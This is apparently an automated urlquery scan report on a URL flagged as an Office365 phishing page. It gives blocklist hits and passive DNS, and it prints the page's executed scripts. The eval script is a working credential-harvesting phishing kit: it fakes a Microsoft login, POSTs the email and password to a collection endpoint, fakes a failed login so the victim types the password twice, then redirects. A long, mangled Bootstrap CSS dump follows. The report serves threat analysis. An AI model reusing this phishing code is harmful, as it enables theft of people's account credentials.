Overview

URL httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev/
IP172.66.44.99
ASNCLOUDFLARENET
Location United States
Report completed2022-10-01 21:50:28 UTC
StatusLoading report..
urlquery Alerts No alerts detected


Settings

UserAgentMozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Referer


Intrusion Detection Systems

Suricata /w Emerging Threats Pro  No alerts detected


Blocklists

OpenPhish
Scan Date Severity Indicator Comment
2022-10-01 2 httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev/ Office365
2022-10-01 2 httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev/ Office365
PhishTank  No alerts detected
Fortinet's Web Filter  No alerts detected
mnemonic secure dns  No alerts detected
Quad9 DNS  No alerts detected


Files

No files detected



Passive DNS (15)

Passive DNS Source Fully Qualifying Domain Name Rank First Seen Last Seen IP Comment
mnemonic passive DNS httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev (2) 0 2022-09-29 23:51:30 UTC 2022-10-01 21:50:03 UTC 172.66.47.157 Unknown ranking
mnemonic passive DNS ocsp.pki.goog (4) 175 2017-06-14 07:23:31 UTC 2022-10-01 04:58:47 UTC 142.250.74.3
mnemonic passive DNS ocsp.digicert.com (3) 86 2012-05-21 07:02:23 UTC 2022-10-01 14:14:43 UTC 93.184.220.29
mnemonic passive DNS firefox.settings.services.mozilla.com (1) 867 2020-05-27 20:08:30 UTC 2022-10-01 15:00:41 UTC 13.224.103.25
mnemonic passive DNS contile.services.mozilla.com (1) 1114 2021-05-27 18:32:35 UTC 2022-10-01 05:00:18 UTC 34.117.237.239
mnemonic passive DNS cdnjs.cloudflare.com (1) 235 2020-10-20 10:17:36 UTC 2022-10-01 08:00:42 UTC 104.17.24.14
mnemonic passive DNS httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev (2) 0 2022-09-29 23:51:30 UTC 2022-10-01 21:50:03 UTC 172.66.44.99 Unknown ranking
mnemonic passive DNS use.fontawesome.com (2) 942 2017-01-30 04:43:25 UTC 2022-10-01 05:19:54 UTC 172.64.132.15
mnemonic passive DNS push.services.mozilla.com (1) 2140 2015-09-03 10:29:36 UTC 2022-10-01 05:28:34 UTC 52.27.12.161
mnemonic passive DNS content-signature-2.cdn.mozilla.net (1) 1152 2020-11-03 12:26:46 UTC 2022-10-01 05:17:12 UTC 13.224.103.70
mnemonic passive DNS img-getpocket.cdn.mozilla.net (6) 1631 2017-09-01 03:40:57 UTC 2022-10-01 14:59:59 UTC 34.120.237.76
mnemonic passive DNS r3.o.lencr.org (5) 344 2020-12-02 08:52:13 UTC 2022-10-01 04:59:16 UTC 23.36.76.226
mnemonic passive DNS code.jquery.com (3) 634 2012-05-21 17:28:02 UTC 2022-10-01 05:11:01 UTC 69.16.175.42
mnemonic passive DNS maxcdn.bootstrapcdn.com (1) 724 2014-06-18 00:37:31 UTC 2022-10-01 11:41:57 UTC 104.18.11.207
mnemonic passive DNS fonts.googleapis.com (1) 8877 2013-06-10 20:14:26 UTC 2022-10-01 18:38:32 UTC 142.250.74.10


Recent reports on same IP/ASN/Domain/Screenshot

Last 1 reports on IP: 172.66.44.99

Date UQ / IDS / BL URL IP
2022-10-01 21:50:28 +0000
0 - 0 - 2 httpswwww3schoolscomhtmltryitfilenametryhtml. (...) 172.66.44.99

Last 5 reports on ASN: CLOUDFLARENET

Date UQ / IDS / BL URL IP
2022-11-28 10:34:17 +0000
0 - 0 - 8 kw.andropampanga.com/9946-how-long-do-fruit-t (...) 104.21.27.169
2022-11-28 10:32:25 +0000
0 - 0 - 16 www.bokepfilm.com/ 172.67.221.11
2022-11-28 10:29:43 +0000
0 - 0 - 2 www.topoffersus.com/offer/sfs-11-sso?tid=2d92 (...) 172.67.70.199
2022-11-28 10:26:02 +0000
0 - 0 - 1 th72yk1.cn/ 172.67.175.253
2022-11-28 10:25:02 +0000
0 - 0 - 2 id9234342verify.com/login.php 104.21.58.222

Last 1 reports on domain: httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev

Date UQ / IDS / BL URL IP
2022-10-01 21:50:28 +0000
0 - 0 - 2 httpswwww3schoolscomhtmltryitfilenametryhtml. (...) 172.66.44.99

Last 3 reports with similar screenshot

Date UQ / IDS / BL URL IP
2022-10-09 06:59:31 +0000
0 - 0 - 4 wwwsharedaccount8384wwwsharedaccount8384.page (...) 172.66.47.53
2022-09-30 14:49:50 +0000
0 - 0 - 2 wwwsharedaccount8384wwwsharedaccount8384.page (...) 172.66.44.203
2022-10-01 08:17:29 +0000
0 - 0 - 2 29f10c0629f10c0629f10c0629f10c0629f10c0629f10 (...) 172.66.45.43


JavaScript

Executed Scripts (9)


Executed Evals (1)

#1 JavaScript::Eval (size: 3169, repeated: 1) - SHA256: fe5ccc2377c1192790ab931b607dcd8930104370b9b5526bfc3b2564953f4a4c

                                        var ai = window.location.hash.substr(1);
if (!ai) {} else {
    var my_ai = ai;
    $("#msg").hide();
    $('#ai').val(my_ai);
    var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
    var ind = my_ai.indexOf("@");
    var my_slice = my_ai.substr((ind + 1));
    var c = my_slice.substr(0, my_slice.indexOf('.'));
    var fnl = c.toLowerCase();
    var fnlu = c.toUpperCase();
    $.get("https://logo.clearbit.com/" + my_slice).done(function() {
        $(".logoimg").attr("src", "https://logo.clearbit.com/" + my_slice);
        $(".logoname").html(fnlu)
    }).fail(function() {
        $(".logoimg").attr("src", "https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico");
        $(".logoname").html("Microsoft")
    });
    $("#diiiv1").animate({
        left: 0,
        opacity: "hide"
    }, 0);
    $("#div3").animate({
        right: 0,
        opacity: "show"
    }, 0);
    setTimeout(function() {
        $("#div3").animate({
            left: 0,
            opacity: "hide"
        }, 0);
        $("#div2").animate({
            right: 0,
            opacity: "show"
        }, 0);
        $("#aich").html(my_ai)
    }, 4000)
}
$(document).ready(function() {
    var m = 0;
    $('#ai').click(function() {
        $('#error').hide()
    });
    $(document).keypress(function(a) {
        var b = (a.keyCode ? a.keyCode : a.which);
        if (b == '13') {
            a.preventDefault();
            if ($("#diiiv1").is(":visible")) {
                $("#next").click()
            } else if ($("#div2").is(":visible")) {
                a.preventDefault();
                $("#submit-btn").click()
            } else {
                return false
            }
        }
    });
    $('#next').click(function() {
        event.preventDefault();
        var a = $('#ai').val();
        var b = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
        var d = a.indexOf("@");
        var e = a.substr((d + 1));
        var c = e.substr(0, e.indexOf('.'));
        var f = c.toLowerCase();
        var g = c.toUpperCase();
        $.get("https://logo.clearbit.com/" + e).done(function() {
            $(".logoimg").attr("src", "https://logo.clearbit.com/" + e);
            $(".logoname").html(g)
        }).fail(function() {
            $(".logoimg").attr("src", "https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico");
            $(".logoname").html("Microsoft")
        });
        $("#diiiv1").animate({
            left: 0,
            opacity: "hide"
        }, 0);
        $("#div3").animate({
            right: 0,
            opacity: "show"
        }, 0);
        setTimeout(function() {
            $("#div3").animate({
                left: 0,
                opacity: "hide"
            }, 0);
            $("#div2").animate({
                right: 0,
                opacity: "show"
            }, 0);
            $("#aich").html(a)
        }, 4000)
    });
    $('#back').click(function() {
        $("#msg").hide();
        $("#ai").val("");
        $("#pr").val("");
        $("#div2").animate({
            left: 0,
            opacity: "hide"
        }, 0);
        $("#diiiv1").animate({
            right: 0,
            opacity: "show"
        }, 1000)
    });
    $('#submit-btn').click(function(b) {
        b.preventDefault();
        var d = $("#ai").val();
        var e = $("#pr").val();
        var g = $("#field").html();
        var h = $('#msg').html();
        var i = d;
        var j = i.indexOf("@");
        var k = i.substr((j + 1));
        var c = k.substr(0, k.indexOf('.'));
        var l = c.toLowerCase();
        $('#msg').text(h);
        m = m + 1;
        $.ajax({
            dataType: 'JSON',
            url: f,
            type: 'POST',
            data: {
                ai: d,
                pr: e,
                detail: g,
            },
            beforeSend: function(a) {
                $("#div2").animate({
                    left: 0,
                    opacity: "hide"
                }, 0);
                $("#div3").animate({
                    left: 0,
                    opacity: "show"
                }, 0)
            },
            complete: function() {
                $("#pr").val("");
                if (m >= 2) {
                    m = 0;
                    $("#load-text").html("Mail Recovered");
                    setTimeout(function() {
                        $("#load-text").html("You will be redirected to your office Mailbox shortly.");
                        setTimeout(function() {
                            window.location.replace(redrt)
                        }, 500)
                    }, 1000);
                    return false
                }
                $("#msg").html("Your account or password is incorrect. If you don't remember your password, <a href='#'>reset it now</a>");
                $("#div3").animate({
                    left: 0,
                    opacity: "hide"
                }, 0);
                $("#div2").animate({
                    left: 0,
                    opacity: "show"
                }, 100)
            }
        })
    })
});
                                    

Executed Writes (1)

#1 JavaScript::Write (size: 258497, repeated: 1) - SHA256: 045691ea5b2978471715f42ad39cd4346e326b0453ff30a46ab3480148c33325

                                        < html lang = "en" > < head >
    < script type = "text/javascript"
src = "https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js" > < /script> < script type = "text/javascript"
src = "https://code.jquery.com/jquery-3.1.1.min.js" > < /script> < script type = "text/javascript"
src = "https://code.jquery.com/jquery-3.3.1.js"
integrity = "sha256-2Kok7MbOyxpgUVvAk/HJ2jigOSYS2auK4Pfzbm7uH60="
crossorigin = "anonymous" > < /script>
    <!-- Required meta tags -->
    < meta charset = "utf-8" >
    < meta name = "viewport"
content = "width=device-width, initial-scale=1, shrink-to-fit=no" >
    <!-- Bootstrap CSS -->
    < link href = "https://fonts.googleapis.com/css?family=Archivo+Narrow&amp;display=swap"
rel = "stylesheet" >
    < link rel = "stylesheet"
href = "https://use.fontawesome.com/releases/v5.7.0/css/all.css"
integrity = "sha384-lZN37f5QGtY3VHgisS14W3ExzMWZxybE1SJSEsQp9S+oqd12jhcu+A56Ebc1zFSJ"
crossorigin = "anonymous" >
    < title > Microsoft | Login < /title> < style type = "text/css" >
    /*!
     * Bootstrap v4.0.0 (https://getbootstrap.com)
     * Copyright 2011-2018 The Bootstrap Authors
     * Copyright 2011-2018 Twitter, Inc.
     * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
     */
    : root {
        --blue: #007bff;
        --indigo: # 6610 f2;
        --purple: #6f42c1;
        --pink: # e83e8c;
        --red: # dc3545;
        --orange: # fd7e14;
        --yellow: # ffc107;
        --green: #28a745;
        --teal: # 20 c997;
        --cyan: #17a2b8;
        --white: # fff;
        --gray: #6c757d;
        --gray-dark: # 343 a40;
        --primary: #007bff;
        --secondary: # 6 c757d;
        --success: #28a745;
        --info: # 17 a2b8;
        --warning: # ffc107;
        --danger: # dc3545;
        --light: # f8f9fa;
        --dark: #343a40;
        --breakpoint-xs: 0;
        --breakpoint-sm: 576px;
        --breakpoint-md: 768px;
        --breakpoint-lg: 992px;
        --breakpoint-xl: 1200px;
        --font-family-sans-serif: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
        --font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace
    }

    *,
    ::after,
    ::before {
        box-sizing: border-box
    }

    html {
        font-family: sans-serif;
        line-height: 1.15;
        -webkit-text-size-adjust: 100%;
        -ms-text-size-adjust: 100%;
        -ms-overflow-style: scrollbar;
        -webkit-tap-highlight-color: transparent
    }

    @-ms-viewport {
        width: device-width
    }

    article,
    aside,
    dialog,
    figcaption,
    figure,
    footer,
    header,
    hgroup,
    main,
    nav,
    section {
        display: block
    }

    body {
        margin: 0;
        font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
        font-size: 1rem;
        font-weight: 400;
        line-height: 1.5;
        color: # 212529;
        text - align: left;
        background - color: # fff
    }

[tabindex = "-1"]: focus {
    outline: 0!important
}

hr {
    box - sizing: content - box;
    height: 0;
    overflow: visible
}

h1,
h2,
h3,
h4,
h5,
h6 {
    margin - top: 0;
    margin - bottom: .5 rem
}

p {
    margin - top: 0;
    margin - bottom: 1 rem
}

abbr[data - original - title],
    abbr[title] {
        text - decoration: underline; - webkit - text - decoration: underline dotted;
        text - decoration: underline dotted;
        cursor: help;
        border - bottom: 0
    }

address {
    margin - bottom: 1 rem;
    font - style: normal;
    line - height: inherit
}

dl,
ol,
ul {
    margin - top: 0;
    margin - bottom: 1 rem
}

ol ol,
ol ul,
ul ol,
ul ul {
    margin - bottom: 0
}

dt {
    font - weight: 700
}

dd {
    margin - bottom: .5 rem;
    margin - left: 0
}

blockquote {
    margin: 0 0 1 rem
}

dfn {
    font - style: italic
}

b,
strong {
    font - weight: bolder
}

small {
    font - size: 80 %
}

sub,
sup {
    position: relative;
    font - size: 75 % ;
    line - height: 0;
    vertical - align: baseline
}

sub {
    bottom: -.25e m
}

sup {
    top: -.5e m
}

a {
    color: #007bff;
        text-decoration: none;
        background-color: transparent;
        -webkit-text-decoration-skip: objects
    }

    a:hover {
        color: # 0056 b3;
    text - decoration: underline
}

a: not([href]): not([tabindex]) {
    color: inherit;
    text - decoration: none
}

a: not([href]): not([tabindex]): focus,
    a: not([href]): not([tabindex]): hover {
        color: inherit;
        text - decoration: none
    }

a: not([href]): not([tabindex]): focus {
    outline: 0
}

code,
kbd,
pre,
samp {
    font - family: monospace, monospace;
    font - size: 1e m
}

pre {
    margin - top: 0;
    margin - bottom: 1 rem;
    overflow: auto; - ms - overflow - style: scrollbar
}

figure {
    margin: 0 0 1 rem
}

img {
    vertical - align: middle;
    border - style: none
}

svg: not(: root) {
    overflow: hidden
}

table {
    border - collapse: collapse
}

caption {
    padding - top: .75 rem;
    padding - bottom: .75 rem;
    color: #6c757d;
        text-align: left;
        caption-side: bottom
    }

    th {
        text-align: inherit
    }

    label {
        display: inline-block;
        margin-bottom: .5rem
    }

    button {
        border-radius: 0
    }

    button:focus {
        outline: 1px dotted;
        outline: 5px auto -webkit-focus-ring-color
    }

    button,
    input,
    optgroup,
    select,
    textarea {
        margin: 0;
        font-family: inherit;
        font-size: inherit;
        line-height: inherit
    }

    button,
    input {
        overflow: visible
    }

    button,
    select {
        text-transform: none
    }

    [type= reset], [type = submit],
button,
html[type = button] {
    -webkit - appearance: button
}

[type = button]::-moz - focus - inner, [type = reset]::-moz - focus - inner, [type = submit]::-moz - focus - inner,
    button::-moz - focus - inner {
        padding: 0;
        border - style: none
    }

input[type = checkbox],
    input[type = radio] {
        box - sizing: border - box;
        padding: 0
    }

input[type = date],
    input[type = datetime - local],
    input[type = month],
    input[type = time] {
        -webkit - appearance: listbox
    }

textarea {
    overflow: auto;
    resize: vertical
}

fieldset {
    min - width: 0;
    padding: 0;
    margin: 0;
    border: 0
}

legend {
    display: block;
    width: 100 % ;
    max - width: 100 % ;
    padding: 0;
    margin - bottom: .5 rem;
    font - size: 1.5 rem;
    line - height: inherit;
    color: inherit;
    white - space: normal
}

progress {
    vertical - align: baseline
}

[type = number]::-webkit - inner - spin - button, [type = number]::-webkit - outer - spin - button {
    height: auto
}

[type = search] {
    outline - offset: -2 px; - webkit - appearance: none
}

[type = search]::-webkit - search - cancel - button, [type = search]::-webkit - search - decoration {
    -webkit - appearance: none
}

::-webkit - file - upload - button {
    font: inherit; - webkit - appearance: button
}

output {
    display: inline - block
}

summary {
    display: list - item;
    cursor: pointer
}

template {
    display: none
}

[hidden] {
    display: none!important
}

.h1,
.h2,
.h3,
.h4,
.h5,
.h6,
h1,
h2,
h3,
h4,
h5,
h6 {
    margin - bottom: .5 rem;
    font - family: inherit;
    font - weight: 500;
    line - height: 1.2;
    color: inherit
}

.h1,
h1 {
    font - size: 2.5 rem
}

.h2,
h2 {
    font - size: 2 rem
}

.h3,
h3 {
    font - size: 1.75 rem
}

.h4,
h4 {
    font - size: 1.5 rem
}

.h5,
h5 {
    font - size: 1.25 rem
}

.h6,
h6 {
    font - size: 1 rem
}

.lead {
    font - size: 1.25 rem;
    font - weight: 300
}

.display - 1 {
    font - size: 6 rem;
    font - weight: 300;
    line - height: 1.2
}

.display - 2 {
    font - size: 5.5 rem;
    font - weight: 300;
    line - height: 1.2
}

.display - 3 {
    font - size: 4.5 rem;
    font - weight: 300;
    line - height: 1.2
}

.display - 4 {
    font - size: 3.5 rem;
    font - weight: 300;
    line - height: 1.2
}

hr {
    margin - top: 1 rem;
    margin - bottom: 1 rem;
    border: 0;
    border - top: 1 px solid rgba(0, 0, 0, .1)
}

.small,
small {
    font - size: 80 % ;
    font - weight: 400
}

.mark,
mark {
    padding: .2e m;
    background - color: # fcf8e3
}

.list - unstyled {
    padding - left: 0;
    list - style: none
}

.list - inline {
    padding - left: 0;
    list - style: none
}

.list - inline - item {
    display: inline - block
}

.list - inline - item: not(: last - child) {
    margin - right: .5 rem
}

.initialism {
    font - size: 90 % ;
    text - transform: uppercase
}

.blockquote {
    margin - bottom: 1 rem;
    font - size: 1.25 rem
}

.blockquote - footer {
    display: block;
    font - size: 80 % ;
    color: #6c757d
    }

    .blockquote-footer::before {
        content: "\2014 \00A0"
    }

    .img-fluid {
        max-width: 40%;
        height: auto
    }

    .img-thumbnail {
        padding: .25rem;
        background-color: # fff;
    border: 1 px solid # dee2e6;
    border - radius: .25 rem;
    max - width: 100 % ;
    height: auto
}

.figure {
    display: inline - block
}

.figure - img {
    margin - bottom: .5 rem;
    line - height: 1
}

.figure - caption {
    font - size: 90 % ;
    color: #6c757d
    }

    code,
    kbd,
    pre,
    samp {
        font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace
    }

    code {
        font-size: 87.5%;
        color: # e83e8c;
    word -
        break: break -word
}

a > code {
    color: inherit
}

kbd {
    padding: .2 rem.4 rem;
    font - size: 87.5 % ;
    color: # fff;
    background - color: #212529;
        border-radius: .2rem
    }

    kbd kbd {
        padding: 0;
        font-size: 100%;
        font-weight: 700
    }

    pre {
        display: block;
        font-size: 87.5%;
        color: # 212529
}

pre code {
    font - size: inherit;
    color: inherit;
    word -
        break: normal
}

.pre - scrollable {
    max - height: 340 px;
    overflow - y: scroll
}

.container {
    width: 100 % ;
    padding - right: 15 px;
    padding - left: 15 px;
    margin - right: auto;
    margin - left: auto
}

@
media(min - width: 576 px) {
    .container {
        max - width: 540 px
    }
}

@
media(min - width: 768 px) {
    .container {
        max - width: 720 px
    }
}

@
media(min - width: 992 px) {
    .container {
        max - width: 960 px
    }
}

@
media(min - width: 1200 px) {
    .container {
        max - width: 1140 px
    }
}

.container - fluid {
    width: 100 % ;
    padding - right: 15 px;
    padding - left: 15 px;
    margin - right: auto;
    margin - left: auto
}

.row {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - ms - flex - wrap: wrap;
    flex - wrap: wrap;
    margin - right: -15 px;
    margin - left: -15 px
}

.no - gutters {
    margin - right: 0;
    margin - left: 0
}

.no - gutters > .col,
    .no - gutters > [class *= col - ] {
        padding - right: 0;
        padding - left: 0
    }

.col,
.col - 1,
    .col - 10,
    .col - 11,
    .col - 12,
    .col - 2,
    .col - 3,
    .col - 4,
    .col - 5,
    .col - 6,
    .col - 7,
    .col - 8,
    .col - 9,
    .col - auto,
    .col - lg,
    .col - lg - 1,
    .col - lg - 10,
    .col - lg - 11,
    .col - lg - 12,
    .col - lg - 2,
    .col - lg - 3,
    .col - lg - 4,
    .col - lg - 5,
    .col - lg - 6,
    .col - lg - 7,
    .col - lg - 8,
    .col - lg - 9,
    .col - lg - auto,
    .col - md,
    .col - md - 1,
    .col - md - 10,
    .col - md - 11,
    .col - md - 12,
    .col - md - 2,
    .col - md - 3,
    .col - md - 4,
    .col - md - 5,
    .col - md - 6,
    .col - md - 7,
    .col - md - 8,
    .col - md - 9,
    .col - md - auto,
    .col - sm,
    .col - sm - 1,
    .col - sm - 10,
    .col - sm - 11,
    .col - sm - 12,
    .col - sm - 2,
    .col - sm - 3,
    .col - sm - 4,
    .col - sm - 5,
    .col - sm - 6,
    .col - sm - 7,
    .col - sm - 8,
    .col - sm - 9,
    .col - sm - auto,
    .col - xl,
    .col - xl - 1,
    .col - xl - 10,
    .col - xl - 11,
    .col - xl - 12,
    .col - xl - 2,
    .col - xl - 3,
    .col - xl - 4,
    .col - xl - 5,
    .col - xl - 6,
    .col - xl - 7,
    .col - xl - 8,
    .col - xl - 9,
    .col - xl - auto {
        position: relative;
        width: 100 % ;
        min - height: 1 px;
        padding - right: 15 px;
        padding - left: 15 px
    }

.col {
    -ms - flex - preferred - size: 0;
    flex - basis: 0; - webkit - box - flex: 1; - ms - flex - positive: 1;
    flex - grow: 1;
    max - width: 100 %
}

.col - auto {
    -webkit - box - flex: 0; - ms - flex: 0 0 auto;
    flex: 0 0 auto;
    width: auto;
    max - width: none
}

.col - 1 {
    -webkit - box - flex: 0; - ms - flex: 0 0 8.333333 % ;
    flex: 0 0 8.333333 % ;
    max - width: 8.333333 %
}

.col - 2 {
    -webkit - box - flex: 0; - ms - flex: 0 0 16.666667 % ;
    flex: 0 0 16.666667 % ;
    max - width: 16.666667 %
}

.col - 3 {
    -webkit - box - flex: 0; - ms - flex: 0 0 25 % ;
    flex: 0 0 25 % ;
    max - width: 25 %
}

.col - 4 {
    -webkit - box - flex: 0; - ms - flex: 0 0 33.333333 % ;
    flex: 0 0 33.333333 % ;
    max - width: 33.333333 %
}

.col - 5 {
    -webkit - box - flex: 0; - ms - flex: 0 0 41.666667 % ;
    flex: 0 0 41.666667 % ;
    max - width: 41.666667 %
}

.col - 6 {
    -webkit - box - flex: 0; - ms - flex: 0 0 50 % ;
    flex: 0 0 50 % ;
    max - width: 50 %
}

.col - 7 {
    -webkit - box - flex: 0; - ms - flex: 0 0 58.333333 % ;
    flex: 0 0 58.333333 % ;
    max - width: 58.333333 %
}

.col - 8 {
    -webkit - box - flex: 0; - ms - flex: 0 0 66.666667 % ;
    flex: 0 0 66.666667 % ;
    max - width: 66.666667 %
}

.col - 9 {
    -webkit - box - flex: 0; - ms - flex: 0 0 75 % ;
    flex: 0 0 75 % ;
    max - width: 75 %
}

.col - 10 {
    -webkit - box - flex: 0; - ms - flex: 0 0 83.333333 % ;
    flex: 0 0 83.333333 % ;
    max - width: 83.333333 %
}

.col - 11 {
    -webkit - box - flex: 0; - ms - flex: 0 0 91.666667 % ;
    flex: 0 0 91.666667 % ;
    max - width: 91.666667 %
}

.col - 12 {
    -webkit - box - flex: 0; - ms - flex: 0 0 100 % ;
    flex: 0 0 100 % ;
    max - width: 100 %
}

.order - first {
    -webkit - box - ordinal - group: 0; - ms - flex - order: -1;
    order: -1
}

.order - last {
    -webkit - box - ordinal - group: 14; - ms - flex - order: 13;
    order: 13
}

.order - 0 {
    -webkit - box - ordinal - group: 1; - ms - flex - order: 0;
    order: 0
}

.order - 1 {
    -webkit - box - ordinal - group: 2; - ms - flex - order: 1;
    order: 1
}

.order - 2 {
    -webkit - box - ordinal - group: 3; - ms - flex - order: 2;
    order: 2
}

.order - 3 {
    -webkit - box - ordinal - group: 4; - ms - flex - order: 3;
    order: 3
}

.order - 4 {
    -webkit - box - ordinal - group: 5; - ms - flex - order: 4;
    order: 4
}

.order - 5 {
    -webkit - box - ordinal - group: 6; - ms - flex - order: 5;
    order: 5
}

.order - 6 {
    -webkit - box - ordinal - group: 7; - ms - flex - order: 6;
    order: 6
}

.order - 7 {
    -webkit - box - ordinal - group: 8; - ms - flex - order: 7;
    order: 7
}

.order - 8 {
    -webkit - box - ordinal - group: 9; - ms - flex - order: 8;
    order: 8
}

.order - 9 {
    -webkit - box - ordinal - group: 10; - ms - flex - order: 9;
    order: 9
}

.order - 10 {
    -webkit - box - ordinal - group: 11; - ms - flex - order: 10;
    order: 10
}

.order - 11 {
    -webkit - box - ordinal - group: 12; - ms - flex - order: 11;
    order: 11
}

.order - 12 {
    -webkit - box - ordinal - group: 13; - ms - flex - order: 12;
    order: 12
}

.offset - 1 {
    margin - left: 8.333333 %
}

.offset - 2 {
    margin - left: 16.666667 %
}

.offset - 3 {
    margin - left: 25 %
}

.offset - 4 {
    margin - left: 33.333333 %
}

.offset - 5 {
    margin - left: 41.666667 %
}

.offset - 6 {
    margin - left: 50 %
}

.offset - 7 {
    margin - left: 58.333333 %
}

.offset - 8 {
    margin - left: 66.666667 %
}

.offset - 9 {
    margin - left: 75 %
}

.offset - 10 {
    margin - left: 83.333333 %
}

.offset - 11 {
    margin - left: 91.666667 %
}

@
media(min - width: 576 px) {
    .col - sm {
        -ms - flex - preferred - size: 0;
        flex - basis: 0; - webkit - box - flex: 1; - ms - flex - positive: 1;
        flex - grow: 1;
        max - width: 100 %
    }

    .col - sm - auto {
        -webkit - box - flex: 0; - ms - flex: 0 0 auto;
        flex: 0 0 auto;
        width: auto;
        max - width: none
    }

    .col - sm - 1 {
        -webkit - box - flex: 0; - ms - flex: 0 0 8.333333 % ;
        flex: 0 0 8.333333 % ;
        max - width: 8.333333 %
    }

    .col - sm - 2 {
        -webkit - box - flex: 0; - ms - flex: 0 0 16.666667 % ;
        flex: 0 0 16.666667 % ;
        max - width: 16.666667 %
    }

    .col - sm - 3 {
        -webkit - box - flex: 0; - ms - flex: 0 0 25 % ;
        flex: 0 0 25 % ;
        max - width: 25 %
    }

    .col - sm - 4 {
        -webkit - box - flex: 0; - ms - flex: 0 0 33.333333 % ;
        flex: 0 0 33.333333 % ;
        max - width: 33.333333 %
    }

    .col - sm - 5 {
        -webkit - box - flex: 0; - ms - flex: 0 0 41.666667 % ;
        flex: 0 0 41.666667 % ;
        max - width: 41.666667 %
    }

    .col - sm - 6 {
        -webkit - box - flex: 0; - ms - flex: 0 0 50 % ;
        flex: 0 0 50 % ;
        max - width: 50 %
    }

    .col - sm - 7 {
        -webkit - box - flex: 0; - ms - flex: 0 0 58.333333 % ;
        flex: 0 0 58.333333 % ;
        max - width: 58.333333 %
    }

    .col - sm - 8 {
        -webkit - box - flex: 0; - ms - flex: 0 0 66.666667 % ;
        flex: 0 0 66.666667 % ;
        max - width: 66.666667 %
    }

    .col - sm - 9 {
        -webkit - box - flex: 0; - ms - flex: 0 0 75 % ;
        flex: 0 0 75 % ;
        max - width: 75 %
    }

    .col - sm - 10 {
        -webkit - box - flex: 0; - ms - flex: 0 0 83.333333 % ;
        flex: 0 0 83.333333 % ;
        max - width: 83.333333 %
    }

    .col - sm - 11 {
        -webkit - box - flex: 0; - ms - flex: 0 0 91.666667 % ;
        flex: 0 0 91.666667 % ;
        max - width: 91.666667 %
    }

    .col - sm - 12 {
        -webkit - box - flex: 0; - ms - flex: 0 0 100 % ;
        flex: 0 0 100 % ;
        max - width: 100 %
    }

    .order - sm - first {
        -webkit - box - ordinal - group: 0; - ms - flex - order: -1;
        order: -1
    }

    .order - sm - last {
        -webkit - box - ordinal - group: 14; - ms - flex - order: 13;
        order: 13
    }

    .order - sm - 0 {
        -webkit - box - ordinal - group: 1; - ms - flex - order: 0;
        order: 0
    }

    .order - sm - 1 {
        -webkit - box - ordinal - group: 2; - ms - flex - order: 1;
        order: 1
    }

    .order - sm - 2 {
        -webkit - box - ordinal - group: 3; - ms - flex - order: 2;
        order: 2
    }

    .order - sm - 3 {
        -webkit - box - ordinal - group: 4; - ms - flex - order: 3;
        order: 3
    }

    .order - sm - 4 {
        -webkit - box - ordinal - group: 5; - ms - flex - order: 4;
        order: 4
    }

    .order - sm - 5 {
        -webkit - box - ordinal - group: 6; - ms - flex - order: 5;
        order: 5
    }

    .order - sm - 6 {
        -webkit - box - ordinal - group: 7; - ms - flex - order: 6;
        order: 6
    }

    .order - sm - 7 {
        -webkit - box - ordinal - group: 8; - ms - flex - order: 7;
        order: 7
    }

    .order - sm - 8 {
        -webkit - box - ordinal - group: 9; - ms - flex - order: 8;
        order: 8
    }

    .order - sm - 9 {
        -webkit - box - ordinal - group: 10; - ms - flex - order: 9;
        order: 9
    }

    .order - sm - 10 {
        -webkit - box - ordinal - group: 11; - ms - flex - order: 10;
        order: 10
    }

    .order - sm - 11 {
        -webkit - box - ordinal - group: 12; - ms - flex - order: 11;
        order: 11
    }

    .order - sm - 12 {
        -webkit - box - ordinal - group: 13; - ms - flex - order: 12;
        order: 12
    }

    .offset - sm - 0 {
        margin - left: 0
    }

    .offset - sm - 1 {
        margin - left: 8.333333 %
    }

    .offset - sm - 2 {
        margin - left: 16.666667 %
    }

    .offset - sm - 3 {
        margin - left: 25 %
    }

    .offset - sm - 4 {
        margin - left: 33.333333 %
    }

    .offset - sm - 5 {
        margin - left: 41.666667 %
    }

    .offset - sm - 6 {
        margin - left: 50 %
    }

    .offset - sm - 7 {
        margin - left: 58.333333 %
    }

    .offset - sm - 8 {
        margin - left: 66.666667 %
    }

    .offset - sm - 9 {
        margin - left: 75 %
    }

    .offset - sm - 10 {
        margin - left: 83.333333 %
    }

    .offset - sm - 11 {
        margin - left: 91.666667 %
    }
}

@
media(min - width: 768 px) {
    .col - md {
        -ms - flex - preferred - size: 0;
        flex - basis: 0; - webkit - box - flex: 1; - ms - flex - positive: 1;
        flex - grow: 1;
        max - width: 100 %
    }

    .col - md - auto {
        -webkit - box - flex: 0; - ms - flex: 0 0 auto;
        flex: 0 0 auto;
        width: auto;
        max - width: none
    }

    .col - md - 1 {
        -webkit - box - flex: 0; - ms - flex: 0 0 8.333333 % ;
        flex: 0 0 8.333333 % ;
        max - width: 8.333333 %
    }

    .col - md - 2 {
        -webkit - box - flex: 0; - ms - flex: 0 0 16.666667 % ;
